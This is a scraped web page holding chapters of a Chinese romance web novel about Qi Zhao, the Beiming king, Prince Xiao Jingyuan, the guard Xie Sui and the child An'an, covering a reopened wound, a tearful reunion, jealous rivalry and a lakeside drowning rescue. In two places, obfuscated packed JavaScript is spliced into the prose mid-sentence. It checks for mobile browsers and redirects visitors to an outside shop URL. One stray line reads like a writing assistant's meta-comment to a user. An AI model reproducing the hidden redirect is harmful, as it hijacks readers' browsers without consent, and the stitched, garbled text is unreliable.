“祈昭,你既不知道,那便从头知晓。”萧惊月微微垂眸,掩去眸底一闪而过的决意,再抬眼时,只剩坦荡的温柔,“我弟他痴心于你,可他性子执拗,只会傻傻等在门外。你重伤两月,他未曾近身照料半分,满心委屈无处说……可我不一样。” 她又靠近半步,语气带着难得的恳切: “这两个月,我一直关注着你的消息,担心你的伤势,牵挂你的安危。我不像惊渊那般只会莽撞等待,我可以守在你身边,可以护着你和安安,可以在你累的时候撑着你,不必让你再独自硬扛。祈昭,不如你别等他了,跟我在一起,好不好?” 这话来得太过突然,太过直白。 祈昭猛地一怔,整个人都僵在原地,难以置信地看着眼前的长公主。 她从没想过,萧惊月会在这个时候,说出这样的话。 可下一秒,萧惊渊那两个月被拦在门外、满心委屈、夜夜难眠的模样,猛地撞进她的脑海里——他意气风发的眉眼,他温柔的笑意,他每次见她时眼底的光亮,还有此刻被侍卫硬生生阻隔、连一面都见不到的焦灼…… 所有的茫然、错愕、迟疑,在这一刻瞬间烟消云散。 祈昭没有丝毫犹豫,甚至没有多余的话回应萧惊月。 她猛地回过神,眼底只剩下一个念头—— 去找萧惊渊。 立刻,马上。 “长公主,抱歉。” 短短四个字落下,祈昭身形一转,甚至顾不上礼仪,顾不上寒暄,甚至连回头再看一眼都没有,拔腿就朝着皇宫的方向狂奔而去。 素色的衣袂在街市的风里翻飞,她跑得极快,像是要把这两个月错过的时光全都追回来。手腕上淡浅的疤痕随着奔跑轻轻晃动,那是她为了护安安、护北冥留下的印记,可此刻,她心里装着的,全是那个傻傻等在王府门外、被谎言蒙蔽、满心委屈的少年王爷。 萧惊月站在原地,看着祈昭头也不回狂奔而去的背影,没有生气,反而轻轻笑了一声,眼底带着释然,又带着几分无奈的宠溺。 她从没想过真的要“趁人之危”,不过是试探一句,想逼一逼这个总是把心事藏在心底的人。 而祈昭的反应,已经说明了一切。 “傻惊渊,”萧惊月轻声自语,望着祈昭消失的方向,“你的人,终究是奔向你了。” 另一边,祈昭一路狂奔,心脏在胸腔里剧烈跳动,不是因为疲惫,而是因为铺天盖地的愧疚与想念。 她脑子里反复回荡着萧惊月的话—— 二十一次登门,无数封书信,被拦在门外,被谎言欺骗,满心委屈,夜夜难眠。 是她不好。 是她疏忽了。 是她让他等了这么久,委屈了这么久。 风在耳边呼啸,祈昭跑得更快了,眼底没有了平日北冥王的清冷疏离,只剩下滚烫的、藏不住的心意。 她要立刻见到萧惊渊。 要告诉他—— 我没有不想见你。 我没有不理你。 我也,很想你。 萧惊渊还憋着一肚子气没撒完,唇线绷紧,正要再开口刺她两句,视线却不受控制地往下一落—— 就这么一眼,他所有的火气、所有的冷脸、所有的委屈,瞬间全僵住了。 祈昭跑得太急,一路冲过来,动作幅度太大,本就没长好的伤口直接被扯开。 素色的衣料背后,一片淡淡的红正慢慢渗出来,晕开一小片刺眼的颜色。 再往下看,大腿外侧那处最深的伤口,也渗出血迹,隔着布料都能看出异样。 她自己跑得太急,满心都是找他,连疼都忘了,连伤口裂开都没察觉。 萧惊渊瞳孔猛地一缩。 刚才还冷硬如铁的神情,“咔嗒”一声,全线崩裂。 “你……” 他声音一下子就哑了,再也冷不起来,只剩下慌,“你背后怎么了?!” 祈昭一怔,还没反应过来:“……什么?” “别动!” 萧惊渊再也顾不上生气,上前一步,伸手极轻地碰了碰她后背渗血的位置,指尖都在发抖。 那一点温温热热的湿意,隔着布料沾到他手上,比扎在他自己心上还疼。 “伤口裂了……你跑什么?!谁让你这么跑过来的?” 他语气又急又凶,可里面全是藏不住的慌,“你知不知道你伤得多重?两个月都没养好,你还敢狂奔?!” 祈昭这才后知后觉地感觉到,后背和大腿传来一阵拉扯似的疼,又涩又闷。 她微微一顿,小声道:“我……我想见你。” 就这一句,萧惊渊刚憋起来的火气,“唰”地一下全灭了。 灭得干干净净,只剩下心疼和后怕。 他气得闭了闭眼,再睁开时,眼底全是红血丝,又气又疼又无可奈何。 “祈昭……你真想气死我是不是?” 他伸手,小心翼翼地扶着她,不敢碰她伤口,动作轻得不像话,“先找地方坐下,我带你处理伤口。” 祈昭看着他前一秒还冷着脸生气,下一秒就慌成这样,心里又酸又软,轻轻拉住他的手: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261135|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“萧惊渊……” “别说话。”他皱着眉,语气却放轻了,“再动,血越渗越多。” 他扶着她,一步一步慢慢走,每一步都放得极轻,生怕再扯到她的伤。 刚才还满心都是“我生气了、我委屈了、我要跟你算账”,此刻脑子里只剩下一个念头: 她伤成这样,还跑来找我。 我刚才,居然还在跟她发脾气。 一想到这儿,萧惊渊心口就揪着疼。 什么二十一次登门,什么六十多封信,什么被拦在门外…… 在她渗出血的伤口面前,一瞬间,全都不重要了。 他只知道, 他的人,又疼了。 萧惊渊看着她后背与大腿处缓缓晕开的血迹,心脏像是被一只冰冷的手狠狠攥住,方才所有的怒气、委屈、不甘,在这一刻尽数化为窒息般的心疼。他再也顾不上任何计较,上前一步,动作轻柔却不容拒绝地弯下身,直接将祈昭打横抱了起来。 祈昭骤然悬空,下意识地伸手环住他的脖颈,整个人僵了一瞬,声音带着一丝不易察觉的慌乱:“萧惊渊,你干什么?这里是皇宫,人多眼杂……” “人多眼杂也比不上你的伤口重要。”萧惊渊低头,目光紧紧锁在她渗血的后背,语气沉得发哑,每一个字都带着压抑不住的慌张与心疼,“你伤成这样,还一路狂奔过来,我要是再放你站着,你是不是要等到血流不止才肯吭声?” 他抱得极稳,手臂牢牢托着她的腿弯与后背,刻意避开所有受伤的部位,力道轻得像是抱着一碰就碎的琉璃。祈昭能清晰地感受到他胸膛沉稳的心跳,还有手臂微微的颤抖——那不是害怕,是后怕,是心疼到极致的失控。 “我没事……只是小伤口裂开了,不碍事的。”祈昭轻声辩解,想维持住北冥王最后的镇定,可话音刚落,后背一阵牵扯般的钝痛袭来,她忍不住轻轻蹙了蹙眉,闷哼了一声。 这一声微弱的闷哼,让萧惊渊的脚步猛地顿住,怀里的力道又轻了几分。 “不碍事?”他低头看着她苍白的脸颊,看着她强装无事的模样,眼底又酸又涩,积攒了两个月的委屈与火气,此刻全都化作了温柔的责备,“祈昭,你到底要把自己伤到什么地步才肯承认你会疼?你是北冥王,可你也是人,你也会痛,也会累,也需要人照顾,不是铁打的!” 他抱着她快步走向自己的偏殿,步伐急促却稳当,一路上引来不少内侍宫女侧目,可他全然不顾,此刻眼里心里,只有怀里这个满身是伤、还不顾一切跑来找他的人。 “我知道你委屈,知道你生气。”祈昭靠在他怀里,声音放得极轻,带着从未有过的软意,“是我不好,我没有及时发现侍卫拦着你,让你等了二十一次,写了六十多封信都石沉大海……我不该让你受这种委屈。” 萧惊渊抱着她的手臂微微一紧,喉结滚动了几下,半晌才哑声开口:“我气的从来不是你不见我,我气的是我明明知道你重伤在身,却只能被拦在门外,什么都做不了。我气我自己不能守在你身边替你换药,替你分担,只能像个傻子一样一遍又一遍去撞墙,只能在夜里一封又一封写信,却连一句你的回应都得不到。” “我怕你伤口恶化,怕你硬撑着不肯上药,怕你一个人扛着所有事,怕你……怕你出事了我都不知道。” 他一脚踹开偏殿的门,小心翼翼地将祈昭放在软榻上,动作轻得不能再轻,生怕再扯到她的伤口。阳光透过窗棂洒在两人身上,他蹲在榻前,仰头看着她,眼底的怒意早已消散,只剩下满满的心疼与不易察觉的委屈。 “我写的每一封信,都改了一遍又一遍,草稿纸堆了满满一筐,我只想把最想说的话写给你,可你一封都没看到。我去王府二十一次,每次都抱着希望去,每次都被侍卫挡回来,他们说你不想见我,你知道我心里是什么滋味吗?” 祈昭看着他泛红的眼尾,看着他眼底浓重的青黑,心像是被细细的针密密麻麻扎着一样疼。她伸手,轻轻抚上他的脸颊,指尖触到他微凉的肌肤,声音温柔得一塌糊涂: “我知道,萧惊渊,我都知道。是我疏忽了,是我让你受委屈了。” “我没有不想见你,从来没有。这两个月我忙着清算叛党,日夜批奏折,身上的伤一拖再拖,连自己都顾不上,更不知道外面发生的事。如果我早知道你一直在找我,我就算爬,也会爬出去见你。” 萧惊渊抓住她放在自己脸颊上的手,紧紧攥在掌心,低头轻轻吻了吻她的手腕,吻过那道已经淡去的伤疤,声音哽咽:“下次不许再这样了,不许再瞒着我,不许再一个人硬扛。不管你是北冥王,还是祈昭,你都有我。” 他起身,轻轻掀开祈昭的衣摆,看到后背与大腿处渗血的伤口,眼眶瞬间又红了。 “我先给你处理伤口,不准再乱动,不准再说没事。” “好。” “不准再为了找我拼命跑,知道吗?” “……好。” “还有,”萧惊渊低头,额头抵着她的额头,语气带着一丝孩子气的执拗,“以后不准再让我等那么久,不准再让我收不到你的消息,不准再让我受这种委屈。” “都听你的,殿下。 以后,再也不会了。” 萧惊渊浑身一震,所有的情绪在这一刻尽数化为温柔,他小心翼翼地俯身,轻轻回抱住她,避开所有伤口,将她稳稳地护在怀里,像是抱住了自己毕生的珍宝。 窗外风轻云淡,殿内暖意融融。 两个月的阻隔,满心的委屈,一身的伤痛, 在这个拥抱里,终于烟消云散。 40. 王生来这样·十 伤口重新清理干净、敷上温和的止血生肌药膏、仔细包扎好之后,萧惊渊整个人还是紧绷着,眼神一刻都不敢从祈昭身上挪开。 他伸手,轻轻扶着她没有受伤的一侧,动作慢得不能再慢,声音压得又低又柔:“慢一点,别扯到后背……来。” 不等祈昭反应,萧惊渊便小心地将她打横一抱,轻轻放在了自己的腿上,双臂稳稳圈住她,让她整个人都靠在自己怀里,后背贴着他的胸膛,被他护得严严实实,完全碰不到任何硬物。 祈昭身子一僵,耳尖瞬间微微发烫,下意识想轻挣一下:“萧惊渊,这里是你的偏殿,一会儿有人进来……” “谁敢进来。”萧惊渊直接低声打断,语气带着点失而复得的执拗,下巴轻轻抵在她的发顶,手臂收得更紧了些,却又刻意松着力度,绝不压到她的伤处,“我已经吩咐过了,没有我的允许,任何人不准靠近殿门半步。” 他低头,鼻尖蹭了蹭她的发鬓,声音闷哑,带着浓浓的不安:“我不放你走,也不让你离开我的视线。” 祈昭能清晰感受到他胸膛的起伏,感受到他抱着自己时微微发颤的指尖,感受到他那种——怕一松手,人就又消失两个月的慌张。 她的心瞬间软成一滩水,不再挣扎,反而轻轻往后靠了靠,找了个最舒服、也最不疼的姿势,安安稳稳窝在他怀里。 “我不走。”她轻声说,声音是从未有过的温顺,“我陪着你。” 萧惊渊的手臂猛地一紧。 他将脸埋在她的颈窝,深吸了一口气,气息里全是她的味道,两个月的不安、委屈、焦躁、思念,在这一刻终于有了落脚的地方。 “你知不知道,这两个月我是怎么过的?”他低声开口,声音带着一丝不易察觉的委屈,“每天一睁眼就想去北冥府,每次走到门口又被拦回来。侍卫说你不想见我,我一遍一遍告诉自己不是的,可我……我还是怕。” “怕你真的厌了我,怕你伤重不肯告诉我,怕你一个人扛着所有疼,连个说话的人都没有。” 祈昭轻轻抬手,覆在他环在自己腰间的手背上,指尖一点点扣住他的手指,轻声安抚:“我没有厌你,从来没有。萧惊渊,我只是被瞒住了,我要是知道你在外面等我,我早就冲出去了。” “那你也不该跑那么快。”萧惊渊立刻皱起眉,语气又心疼又无奈,“伤口都裂开了,血都渗出来了,你知不知道我刚才看到的时候,心都快跳出来了?” “我太想见你了。”祈昭低声坦白,“一听说你来了二十一次,写了六十多封信,我什么都顾不上了,只想立刻见到你。” 这句话轻飘飘的,却像一颗小石子,狠狠砸在萧惊渊的心湖上。 他低头,轻轻在她脸颊旁印下一个极轻极软的吻,像是对待稀世珍宝一般小心翼翼。 “我也是。”他哑声说,“每一天,每一刻,都在想你。” 他就这么抱着她,让她安稳坐在自己腿上,坐姿调整了一遍又一遍,确保她后背、大腿的伤口完全不受力、不被蹭到。一只手稳稳托着她,另一只手轻轻抚摸着她包扎好的手腕,目光一寸寸落在她身上,仿佛要把这两个月错过的模样,全都补回来。 祈昭靠在他怀里,听着他沉稳有力的心跳,感受着他温暖踏实的怀抱,连日来养伤的疲惫、处理事务的烦躁、对他的思念,在这一刻全都烟消云散。 她微微偏头,蹭了蹭他的脸颊,声音轻得像梦呓:“殿下。” “我在。”萧惊渊立刻应声,抱得更紧了些。 “以后,我不会再让你等了。” “我也不会再让你一个人受伤了。”萧惊渊低头,额头抵着她的额角,眼神认真又坚定,“从今往后,你的伤我来守,你的事我来帮,你的疼我来替你扛。你是北冥王,也是我的人。” “一刻也不会再让你离开我的视线。” 阳光透过窗纱,温柔地洒在两人身上,将相拥的影子拉得很长很长。 没有阻隔,没有谎言,没有距离。 只有失而复得的珍惜,和再也不愿分开的执念。 就这样安静相拥了片刻,殿内只剩下彼此浅浅的呼吸声。 祈昭靠在萧惊渊怀里,还在轻轻蹭着他的掌心安抚他,忽然,一滴温热的液体,砸在了她的颈侧。 她猛地一僵。 下一秒,又是一滴,顺着她的脖颈滑进衣领,烫得惊人。 祈昭的心瞬间揪紧,她下意识想转头看他,却被萧惊渊轻轻按住了肩,他没说话,只是把脸埋得更深,将她死死扣在自己怀里,肩膀在微微发抖。 没有哭声,没有哽咽,只有压抑到极致的、无声的落泪。 滚烫的眼泪一颗接一颗砸下来,浸透了她的衣料,烫在她的皮肤上,也烫在她的心口。 那个向来意气风发、骄傲耀眼的萧惊渊,那个在朝堂上从容不迫、在她面前总是强势又温柔的殿下,此刻就像个受够了委屈的孩子,抱着失而复得的人,一句话都说不出来,只是拼命地掉眼泪。 他不哭出声,不抱怨,不指责。 就只是——哭。 把这两个月里,二十一次被拦在门外的委屈, 六十多封石沉大海的信件的不安, 整夜整夜睡不着的恐慌, 怕失去她、怕被她推开、怕她独自硬扛的所有煎熬, 全都化作了无声的眼泪,一股脑地涌了出来。 祈昭整个人都僵住了,心脏像是被狠狠揉碎了再重组,疼得她几乎喘不过气。 她不敢动,不敢说话,怕打破他此刻压抑的情绪,只能轻轻抬手,覆在他紧紧环着自己的手背上,一下一下,极轻极慢地摸着,用最温柔的方式陪着他。 “萧惊渊……”她声音哑得不成样子,心疼得发颤,“我在,我真的在……” 他还是不说话,只是抱得更紧,紧到像是要把她嵌进自己的骨血里,眼泪却落得更凶,打湿了她的发,她的颈,她的衣襟。 那不是脆弱,是憋了整整两个月的情绪,终于找到了可以宣泄的地方。 他气过,怨过,慌过,怕过,可在见到她、抱着她、触到她裂开的伤口的那一刻,所有的强硬都轰然崩塌,只剩下铺天盖地的委屈和失而复得的庆幸。 他怕自己一开口,就会控制不住地哽咽,所以他只是哭。 安安静静,却撕心裂肺。 祈昭轻轻侧过脸,踮起一点脚尖,用脸颊蹭着他满是泪痕的侧脸,一遍一遍,极轻地吻掉他脸上的泪水,吻他泛红的眼尾,吻他紧绷的唇角。 她不说大道理,不解释,不道歉,只是一遍又一遍,用最温柔的动作告诉他: 我在,我没走,我再也不离开你了。 “不哭了……”她贴着他的耳朵,声音轻得像羽毛,“我错了,我真的错了,以后我再也不让你等,再也不让你受委屈,再也不让你找不到我……” “我陪着你,一直陪着你。” 萧惊渊的颤抖渐渐轻了些,眼泪却还在落,他终于微微松开一点怀抱,垂眸看着怀里的人,眼底通红,睫毛被泪水浸得湿漉漉的,平日里明亮锐利的眼眸,此刻只剩下水汽和脆弱。 他依旧没说话,只是低下头,狠狠将脸埋回她的肩窝,像只终于找到归宿的小兽,安安静静地,在她怀里哭着。 阳光落在两人身上,暖得不像话。 这一场无声的落泪,不是软弱,是他藏了整整两个月、最深最深的爱意与牵挂。 而祈昭就坐在他的腿上,被他稳稳抱着,一动不动,任由他宣泄所有的委屈与不安,任由他的眼泪打湿自己的衣襟。 她知道,从这一刻起,他们之间,再也不会有任何阻隔。 再也不会有两个月的分离,再也不会有看不见的书信,再也不会有被拦在门外的失望。 他抱着她,她陪着他。 安安静静,直到眼泪止住,直到心都安稳。 马车刚停在北冥府朱漆大门前,萧惊渊先小心翼翼扶着祈昭下来,全程一手护着她的后背、一手托着她的腿弯,半分都不敢让她受力,生怕再扯到伤口。 可两人刚踏过府门门槛,一道风风火火的身影“唰”地冲了上来—— 是谢随。 他两个月来日夜守在祈昭身边,比谁都紧张她的伤势,如今一见祈昭回来,眼睛瞬间亮了,立刻快步上前,半蹲半扶着,语气又急又关切: “王!您回来了!有没有哪里不舒服?伤口会不会疼?要不要属下扶您回榻上歇息?” 他一边说,一边自然地往祈昭身边靠,几乎是半护着祈昭,直接把萧惊渊隔在了外面。 萧惊渊脸色当场就沉了。 他刚失而复得、刚把人抱在怀里疼,刚宣泄完两个月的委屈,现在突然冒出来一个亲卫,贴得比他还近,护得比他还紧,一口一个“王”,寸步不离,摆明了“我才是守在她身边最久的人”。 萧惊渊嘴角绷直,伸手直接轻轻一揽,将祈昭往自己身边带了带,不动声色地隔开谢随,语气冷得掉冰碴: “本王会照顾好祈昭,不劳烦谢侍卫时刻贴身跟着。” 谢随是什么人? 那是祈昭最忠心的亲卫,眼里心里只有他家王的安危,谁都不能挡在他和王之间。 他立刻抬头,毫不畏惧地对上萧惊渊的目光,腰杆挺直: “殿下,照顾王是属下的职责,属下必须寸步不离,确保王的伤口不会再裂开。” 两双眼睛在空中对上,瞬间火花四溅。 ——典型的两虎相争,谁看谁都不顺眼。 萧惊渊脸色更冷,语气带着压迫感: “祈昭现在是本王的人,本王在,自然由本王照顾,谢侍卫是不是太过逾越了?” “属下只忠于王!”谢随寸步不让,“殿下身份尊贵,不懂如何照料伤口,万一再碰到王的伤处——” “你敢说本王不会照顾?” “属下只信自己!” 祈昭坐在一旁的软榻上,被这两人一左一右围着,左边是护主心切的小狼狗亲卫,右边是醋意翻涌的委屈殿下,顿时头都大了。 萧惊渊往前一步,直接挡在祈昭身前,对着谢随沉声道: “退下,没有本王的允许,不准靠近榻前。” “属下奉王的命令守在身边!”谢随也往前一步,半点不怂,“殿下无权干涉北冥府的事!” “本王是祈昭的人,自然管得!” “王是北冥王,只属于北冥!” 两人你一言我一语,眼神交锋得几乎要当场打起来。 一个觉得“我才是最有资格守她的人”, 一个觉得“我是她心尖上的人,你算什么”。 萧惊渊看着谢随那双时刻黏在祈昭身上的眼睛,越看越不顺眼,恨不得直接把人丢出去; 谢随看着萧惊渊动不动就碰祈昭、抱祈昭,也越看越不爽,总觉得这位殿下毛手毛脚会伤到他家王。 祈昭看着这剑拔弩张的气氛,无奈地揉了揉眉心,轻轻开口: “你们两个,别吵了。” 两人同时一顿,齐刷刷转头看向她,眼神里还带着没消的火气,却都在她开口的瞬间先软了语气。 萧惊渊立刻转身,蹲在榻边,伸手轻轻摸了摸她的额头,语气瞬间柔得能滴出水: “是不是吵到你了?别生气,我不跟他一般见识。” 谢随也立刻上前,小心翼翼地查看她背后的包扎: “王是不是累了?属下给您去拿点心,您别管我们。” 前一秒还针锋相对、两虎相斗,下一秒全都围着祈昭转,眼神里的敌意却丝毫没减,依旧在看不见的地方暗暗较劲、互相瞪视。 萧惊渊斜睨谢随一眼,意思很明显: 离她远点。 谢随抬眼回瞪,寸步不让: 守好你的分寸。 祈昭靠在软榻上,看着这两个为了她、互相看不顺眼、暗自较劲的人, 无奈地叹了口气,心底却悄悄泛起一丝暖意。 只是她很清楚—— 从今天起,这北冥府里, 一场没有硝烟的争宠大战,算是正式开始了。 正僵持着,门外忽然传来一阵轻快的小脚步声。 “舅舅——舅舅——” 安安扎着两个小团子,手里还攥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261136|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着半块桂花糕,一颠一颠地跑进来,眼睛直勾勾盯着软榻上的祈昭,谁都没看。 一进屋,她直接绕开萧惊渊,也绕开谢随,小短腿一挪,扒着榻边就往上蹭,小脸蛋一抬,脆生生喊: “舅舅,抱~” 全程: 看都没看萧惊渊一眼, 看都没看谢随一眼。 萧惊渊伸到一半的手僵在半空。 谢随挺直的腰板也顿了顿。 两人齐刷刷转头,盯着这个突然杀进来的小不点。 祈昭立刻放软了神情,伸手小心把安安抱到腿上,轻轻摸她的头:“慢点,别撞着舅舅伤口。” 安安立刻乖乖不动,小手轻轻碰了碰祈昭的胳膊,小声问:“舅舅还疼吗?” “不疼了。” 一大一小,旁若无人地温馨上了。 萧惊渊和谢随站在一旁,像两尊被遗忘的门神。 萧惊渊脸色有点挂不住,轻咳一声,试图刷存在感:“安安,还记得我吗?我是……” 安安头都没回,小眉头轻轻一皱,像是在嫌吵,只淡淡“嗯”了一声,继续黏着祈昭。 谢随也想上前一步,刚动一下,安安直接往祈昭怀里缩了缩,无声表示: 别过来,别吵我舅舅。 萧惊渊:“……” 谢随:“……” 刚才还两虎相争、杀气腾腾的两个人,瞬间被一个小屁孩集体无视。 安安靠在祈昭怀里,啃了口桂花糕,终于慢悠悠抬了下头,扫了一眼离得极近的萧惊渊,又扫了一眼寸步不离的谢随。 小眼神里清清楚楚写着一行字: 你们两个离我舅舅这么近,有病啊。 不闹、不吵、不怼, 就安安静静用眼神表达: 舅舅是我的 你们靠边站 别碍事 萧惊渊嘴角抽了抽,想生气,又不能跟一个小娃娃计较,只能憋屈地看向祈昭。 谢随也僵在原地,忠心护主的架势,在小主子面前直接失效。 祈昭抱着安安,低头看着怀里理直气壮占着自己的小丫头,再看看旁边两个被无视得一脸郁闷的大人,终于没忍住,轻轻笑出声。 萧惊渊:“……” 谢随:“……” 刚才还针锋相对的两人,此刻莫名站到了同一战线。 眼神在空中默默交流: 这小丫头,怎么比对方还难搞? 安安完全不管他们内心多崩溃,只安安稳稳窝在祈昭怀里,霸占着舅舅,谁也不给碰。 这一刻,北冥府真正的赢家—— 既不是醋王殿下萧惊渊, 也不是忠犬侍卫谢随, 而是一脸淡定、独占祈昭、顺便嫌弃俩大人的小安安。 就在屋里气氛又僵又好笑的时候,门外忽然飘来一阵轻柔的脚步声,伴随着温柔的低语—— “安安可是跑这儿来了?” “方才还在院子里玩呢,别扰了王爷休息。” 话音刚落,几位身姿温婉、容貌娇丽的身影便掀帘走了进来,正是祈昭府里的一众爱妃。她们一进门,目光齐刷刷先往软榻上扫,第一眼、第二眼、第三眼,全落在自家北冥王身上,眉眼瞬间柔得能滴出水来。 至于旁边站着的两位—— 一位是身份尊贵的当朝殿下萧惊渊, 一位是冷面忠心的亲卫谢随, 这群妃子看都没看一眼,直接无视得干干净净。 仿佛那俩大活人就是两根立在那儿的柱子,连半点眼神都懒得施舍。 “王爷,您身子好些了吗?方才出去一趟可把我们吓坏了。” “伤口有没有再疼?臣妾们新调了安神香,正想给您点上。” “安安乖宝,快下来,别压着舅舅的伤。” 她们围上前,动作轻柔又细致,有人替祈昭理了理衣摆,有人伸手试了试榻边温度,有人温柔叮嘱安安不许闹腾,一圈人完完整整把祈昭护在中间,密不透风。 萧惊渊:“……” 谢随:“……” 刚才还在互相较劲的两个人,此刻彻底被挤到了角落,站得笔直,却连一丝一毫的存在感都刷不出来。 萧惊渊脸色黑了又青,青了又黑,指尖都微微攥紧。 他可是刚抱着祈昭回来、刚为她哭完、刚宣示完主权,结果这群妃子一进来,直接把他当空气? 谢随也皱着眉,本想守在王爷跟前,结果被妃嫔们轻飘飘一个眼神示意“往后站,别挡着我们照顾王爷”,硬生生被逼退了半步。 最绝的是,这群爱妃全程淡定自然,没有半分尴尬,没有半分拘谨,仿佛这本就是她们的地盘、她们的人,旁的人不管身份多高、多忠心,都得往后稍稍。 安安窝在祈昭怀里,小大人似的点点头,仿佛在说:看吧,我就说他俩多余。 祈昭被一群温柔似水的人围着,看着角落里一脸憋屈、被彻底无视的一大一小两个“护法”,终于忍不住低低笑了出来,眉眼间都是无奈又纵容的暖意。 萧惊渊盯着被众人围在中间、眉眼温柔的祈昭,再看看这群半点不把他放在眼里的妃子,心里醋意翻涌,却又发作不得—— 人家是真心实意照顾祈昭、照料伤势,他要是发脾气,反倒显得小气。 只能死死站在原地,用眼神疯狂刷存在感: 我才是她心尖上的人! 我才是抱过她、哄过她、为她哭过的人! 可妃子们依旧目不斜视,温柔细语全给了北冥王,连个眼角余光都不赐给他。 谢随更是默默叹气,心想: 论抢王爷,谁也抢不过这群娘娘。 一时间,北冥府的偏殿里形成了一幅绝妙画面—— 中心是被所有人宠着的祈昭, 怀里是独占舅舅的安安, 一圈是满眼只有王爷的爱妃们, 角落里,站着两个被彻底无视、互看不顺眼又同病相怜的失败者。 醋王殿下、忠犬侍卫, 在北冥王的后宫团面前, 完败。 41. 王生来这样·十一 我先把前面的剧情稳稳打底铺垫好,再写你要的外游溺水、谢随急救、人工呼吸+心脏复苏这段,节奏稳、情绪足,衔接自然不突兀。 后续(完整铺垫+溺水剧情) 萧惊渊在北冥府赖了整整三日。 这三日里,他寸步不离守着祈昭,夜里就睡在榻边的软椅上,换药、喂水、盖毯子样样亲力亲为,明明是金尊玉贵的殿下,却把人照顾得比谁都细致。可府里的日子实在让他憋屈—— 谢随寸步不离护主,爱妃们满眼只有王爷,连小安安都牢牢霸占着舅舅,他这个正主,反倒像个多余的外人。 第四日清晨,宫中来人传话,朝中事务堆积,不得不回。 萧惊渊蹲在榻前,指尖轻轻摩挲着祈昭包扎好的手腕,眼底满是不舍与执拗,沉默了许久,才哑声开口: “我必须回宫一趟。” 祈昭抬眸看他,指尖轻轻碰了碰他的脸颊:“政务要紧,我在府里养伤,不会有事。” “不准再乱跑,不准再扯裂伤口,不准再让我找不到你。”他一字一顿,语气带着强装的强硬,藏着深深的不安,“等我处理完事情,立刻过来接你。” “好。”祈昭轻声应下。 萧惊渊终究还是不舍地起身,临走前,又回头深深看了她一眼,那眼神像是要把她刻进骨子里。 他没再说话,只是大步踏出北冥府,背影带着几分落荒而逃的意味。 他一走,府里便恢复了往日的平静。 谢随依旧贴身守护,爱妃们细心照料,安安整日黏着舅舅,祈昭的伤势一日好过一日,没过多久,便已能缓慢行走、偶尔到院中吹风散心。 休养了近半月,天气晴好,风和日丽。 属下请示,可否到城郊湖畔别院小住几日,换个环境利于养伤。 祈昭应允,只带了谢随与几名亲信侍卫前往,并未惊动旁人。 城郊湖畔风景极美,湖水清澈,垂柳依依,别院临湖而建,安静又雅致。 祈昭白日里在湖边散步,看水鸟掠过湖面,心情也舒缓了许多。谢随寸步不离跟在身后,目光时刻警惕,确保他周身三尺之内绝无危险。 谁也没料到,意外会来得如此猝不及防。 那日午后,祈昭独自站在临水的木栈道上,低头看着湖中游鱼,脚下的木板年久失修,忽然发出一声轻微的裂响。 “王!小心!” 谢随脸色骤变,厉声提醒,可已经晚了。 木板瞬间断裂,祈昭重心一斜,身子猛地向后一仰,径直坠入了冰冷的湖水中。 “噗通——” 一声巨响,水花四溅。 湖水瞬间将他吞没,冰冷刺骨,伤口被冷水一激,疼得他浑身发僵,再加上不会水,短短片刻便开始往下沉,意识渐渐模糊。 “王!” 谢随魂飞魄散,连铠甲都来不及脱,纵身一跃,直接跳入湖中,疯了一般朝着祈昭沉落的方向游去。湖水冰冷浑浊,他凭着记忆一把抓住祈昭的手腕,用尽全身力气将人往上托。 “王!抓住我!” 短短几米的距离,却像隔着生死。 谢随拼了命将人拖上岸,一碰到地面,他立刻将祈昭平放在干燥的草地上,指尖颤抖着探向他的鼻息—— 微弱得几乎感受不到。 胸膛也没有起伏。 谢随脸色惨白如纸,往日里最冷静沉稳的亲卫,此刻浑身都在发抖。他没有丝毫犹豫,立刻跪下身,将祈昭口鼻中的水渍、杂草清理干净,随即俯身,口对口为他做人工呼吸。 一下,又一下。 轻柔却用力,带着孤注一掷的慌张。 呼吸交替过后,他立刻双手交叠,对准祈昭的胸口,用力进行心脏按压,动作标准而急促,每一下都拼尽全力,额角的冷汗顺着下颌滴落,砸在祈昭的脸颊上。 “王……您醒醒……别吓属下……” 他声音发颤,从未有过的恐惧将他整个人吞噬。 人工呼吸、心脏复苏,一遍又一遍,不知重复了多少次,直到手臂酸痛得快要失去知觉,直到喉咙发紧得发不出声音。 就在谢随几乎绝望的瞬间—— 祈昭猛地呛咳一声,一口湖水从喉间涌出,胸膛微弱地起伏了一下。 睫毛轻轻颤动,缓缓睁开了眼睛。 视线模糊之中,他看到的第一个人,是浑身湿透、眼底通红、濒临崩溃的谢随。 而此刻,湖畔的风依旧温柔,湖水波光粼粼, 只是刚刚从鬼门关拉回来的北冥王, 还不知道,这一场溺水,将会在不久之后,掀起怎样滔天的风浪。 祈昭缓缓睁开眼时,视线里最先撞进的,是谢随通红得近乎滴血的眼眶。他浑身湿透,发梢滴着冰冷的湖水,衣襟还紧紧贴在身上,整个人像刚从水里捞出来一般,却半点不顾自己,只死死盯着他,连呼吸都在发颤。 “王……”谢随的声音哑得像是被砂纸磨过,紧绷了许久的神经在这一刻骤然松懈,却依旧不敢放松半分,“您醒了……您终于醒了……” 他方才跪在草地上反复做着急救,指尖早已按得发麻,唇上也因为人工呼吸留下了浅淡的红痕,此刻见祈昭终于有了气息,整个人都控制不住地微微晃了晃,是后怕到极致的虚脱。 